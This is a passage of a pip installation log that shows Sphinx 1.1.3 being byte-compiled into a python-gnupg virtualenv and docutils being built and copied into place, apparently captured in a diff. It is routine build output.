build/lib.linux-x86_64-2.7/sphinx/application.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/websupport.py to websupport.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/text.py to text.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/latex.py to latex.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/texinfo.py to texinfo.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/manpage.py to manpage.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/html.py to html.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pygments_styles.py to pygments_styles.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/c.py to c.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/rst.py to rst.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/std.py to std.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/python.py to python.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/cpp.py to cpp.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/javascript.py to javascript.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/jinja2glue.py to jinja2glue.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/generate.py to generate.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/jsmath.py to jsmath.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/refcounting.py to refcounting.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/viewcode.py to viewcode.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/ifconfig.py to ifconfig.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autodoc.py to autodoc.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/mathjax.py to mathjax.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/todo.py to todo.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/pngmath.py to pngmath.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/inheritance_diagram.py to inheritance_diagram.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/intersphinx.py to intersphinx.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/doctest.py to doctest.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/coverage.py to coverage.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/graphviz.py to graphviz.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/mathbase.py to mathbase.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/oldcmarkup.py to oldcmarkup.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/extlinks.py to extlinks.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/websupport.py to websupport.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/matching.py to matching.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/pycompat.py to pycompat.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/nodes.py to nodes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/osutil.py to osutil.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/png.py to png.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/console.py to console.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/stemmer.py to stemmer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/inspect.py to inspect.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/jsdump.py to jsdump.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/smartypants.py to smartypants.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/tags.py to tags.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/docstrings.py to docstrings.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/texescape.py to texescape.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/jsonimpl.py to jsonimpl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/docfields.py to docfields.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/compat.py to compat.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/sqlalchemystorage.py to sqlalchemystorage.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/sqlalchemy_db.py to sqlalchemy_db.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/differ.py to differ.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/xapiansearch.py to xapiansearch.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/nullsearch.py to nullsearch.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/whooshsearch.py to whooshsearch.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/errors.py to errors.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/roles.py to roles.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/quickstart.py to quickstart.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/cmdline.py to cmdline.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/environment.py to environment.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/nodes.py to nodes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/driver.py to driver.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/parse.py to parse.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/token.py to token.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/grammar.py to grammar.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/tokenize.py to tokenize.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/pgen.py to pgen.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/literals.py to literals.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/highlighting.py to highlighting.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/config.py to config.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/epub.py to epub.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/websupport.py to websupport.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/text.py to text.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/latex.py to latex.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/linkcheck.py to linkcheck.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/devhelp.py to devhelp.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/texinfo.py to texinfo.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/htmlhelp.py to htmlhelp.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/manpage.py to manpage.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/html.py to html.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/qthelp.py to qthelp.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/gettext.py to gettext.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/changes.py to changes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/setup_command.py to setup_command.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/other.py to other.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/code.py to code.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/theming.py to theming.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/ja.py to ja.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/en.py to en.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/addnodes.py to addnodes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/errors.py to errors.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/apidoc.py to apidoc.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/versioning.py to versioning.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/application.py to application.pyc + + running install_egg_info + + Copying Sphinx.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Sphinx-1.1.3-py2.7.egg-info + + running install_scripts + + Installing sphinx-apidoc script to /home/isis/.virtualenvs/python-gnupg/bin + + Installing sphinx-build script to /home/isis/.virtualenvs/python-gnupg/bin + + Installing sphinx-quickstart script to /home/isis/.virtualenvs/python-gnupg/bin + + Installing sphinx-autogen script to /home/isis/.virtualenvs/python-gnupg/bin + + writing list of installed files to '/tmp/pip-Vmfaee-record/install-record.txt' + + Running setup.py install for docutils + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/docutils/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-LZGcJp-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/docutils + + copying docutils/core.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/nodes.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/examples.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/_compat.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/frontend.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/io.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/__init__.py -> build/lib.linux-x86_64-2.7/docutils + + copying docutils/statemachine.py -> build/lib.linux-x86_64-2.7/docutils + + creating build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/pt_br.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/fr.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/ca.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/ja.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/da.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/zh_cn.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/en.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/he.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/zh_tw.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/lt.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/sk.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/eo.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/de.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/es.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/fi.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/nl.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/it.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/__init__.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/sv.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/af.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/cs.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/ru.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/gl.py -> build/lib.linux-x86_64-2.7/docutils/languages + + copying docutils/languages/pl.py -> build/lib.linux-x86_64-2.7/docutils/languages + + creating build/lib.linux-x86_64-2.7/docutils/parsers + + copying docutils/parsers/null.py -> build/lib.linux-x86_64-2.7/docutils/parsers + + copying docutils/parsers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers + + creating build/lib.linux-x86_64-2.7/docutils/parsers/rst + + copying docutils/parsers/rst/tableparser.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst + + copying docutils/parsers/rst/roles.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst + + copying docutils/parsers/rst/states.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst + + copying docutils/parsers/rst/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst + + creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/images.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/tables.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/parts.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/admonitions.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/html.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/references.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/body.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + copying docutils/parsers/rst/directives/misc.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives + + creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/pt_br.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/fr.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/ca.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/ja.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/da.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/zh_cn.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/en.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/he.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/zh_tw.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/lt.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/sk.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/eo.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/de.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/es.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/fi.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/nl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/it.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/sv.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/af.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/cs.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/ru.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/gl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + copying docutils/parsers/rst/languages/pl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages + + creating build/lib.linux-x86_64-2.7/docutils/readers + + copying docutils/readers/standalone.py -> build/lib.linux-x86_64-2.7/docutils/readers + + copying docutils/readers/pep.py -> build/lib.linux-x86_64-2.7/docutils/readers + + copying docutils/readers/doctree.py -> build/lib.linux-x86_64-2.7/docutils/readers + + copying docutils/readers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/readers + + creating build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/components.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/peps.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/frontmatter.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/parts.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/writer_aux.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/references.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/__init__.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/universal.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + copying docutils/transforms/misc.py -> build/lib.linux-x86_64-2.7/docutils/transforms + + creating build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/error_reporting.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/roman.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/code_analyzer.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/punctuation_chars.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/smartquotes.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/urischemes.py -> build/lib.linux-x86_64-2.7/docutils/utils + + copying docutils/utils/__init__.py -> build/lib.linux-x86_64-2.7/docutils/utils + + creating build/lib.linux-x86_64-2.7/docutils/utils/math + + copying docutils/utils/math/unichar2tex.py -> build/lib.linux-x86_64-2.7/docutils/utils/math + + copying docutils/utils/math/tex2unichar.py -> build/lib.linux-x86_64-2.7/docutils/utils/math + + copying docutils/utils/math/math2html.py -> build/lib.linux-x86_64-2.7/docutils/utils/math + + copying docutils/utils/math/__init__.py -> build/lib.linux-x86_64-2.7/docutils/utils/math + + copying docutils/utils/math/latex2mathml.py -> build/lib.linux-x86_64-2.7/docutils/utils/math + + creating build/lib.linux-x86_64-2.7/docutils/writers + + copying docutils/writers/null.py -> build/lib.linux-x86_64-2.7/docutils/writers + + copying docutils/writers/pseudoxml.py -> build/lib.linux-x86_64-2.7/docutils/writers + + copying docutils/writers/manpage.py -> build/lib.linux-x86_64-2.7/docutils/writers + + copying docutils/writers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers + + copying docutils/writers/docutils_xml.py -> build/lib.linux-x86_64-2.7/docutils/writers + + creating build/lib.linux-x86_64-2.7/docutils/writers/html4css1 + + copying docutils/writers/html4css1/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 + + creating build/lib.linux-x86_64-2.7/docutils/writers/pep_html + + copying docutils/writers/pep_html/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html + + copying docutils/writers/s5_html/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html + + creating build/lib.linux-x86_64-2.7/docutils/writers/latex2e + + copying docutils/writers/latex2e/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e + + creating build/lib.linux-x86_64-2.7/docutils/writers/xetex + + copying docutils/writers/xetex/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/xetex + + creating build/lib.linux-x86_64-2.7/docutils/writers/odf_odt + + copying docutils/writers/odf_odt/pygmentsformatter.py -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt + + copying docutils/writers/odf_odt/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt + + running build_scripts + + creating build/scripts-2.7 + + copying and adjusting tools/rst2html.py -> build/scripts-2.7 + + copying and adjusting tools/rst2s5.py -> build/scripts-2.7 + + copying and adjusting tools/rst2latex.py -> build/scripts-2.7 + + copying and adjusting tools/rst2xetex.py -> build/scripts-2.7 + + copying and adjusting tools/rst2man.py -> build/scripts-2.7 + + copying and adjusting tools/rst2xml.py -> build/scripts-2.7 + + copying and adjusting tools/rst2pseudoxml.py -> build/scripts-2.7 + + copying and adjusting tools/rstpep2html.py -> build/scripts-2.7 + + copying and adjusting tools/rst2odt.py -> build/scripts-2.7 + + copying and adjusting tools/rst2odt_prepstyles.py -> build/scripts-2.7 + + changing mode of build/scripts-2.7/rst2html.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2s5.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2latex.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2xetex.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2man.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2xml.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2pseudoxml.py from 644 to 755 + + changing mode of build/scripts-2.7/rstpep2html.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2odt.py from 644 to 755 + + changing mode of build/scripts-2.7/rst2odt_prepstyles.py from 644 to 755 + + running build_data + + creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomfrk-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isolat1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isolat2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamsb.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/README.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isotech.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomfrk.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isocyr1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomopf-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamso.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isonum.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/mmlextra.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isogrk4-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomscr.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isogrk4.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/mmlextra-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isogrk2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamsr.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/s5defs.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/xhtml1-special.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isobox.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamsn.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isodia.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomscr-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isopub.txt -> 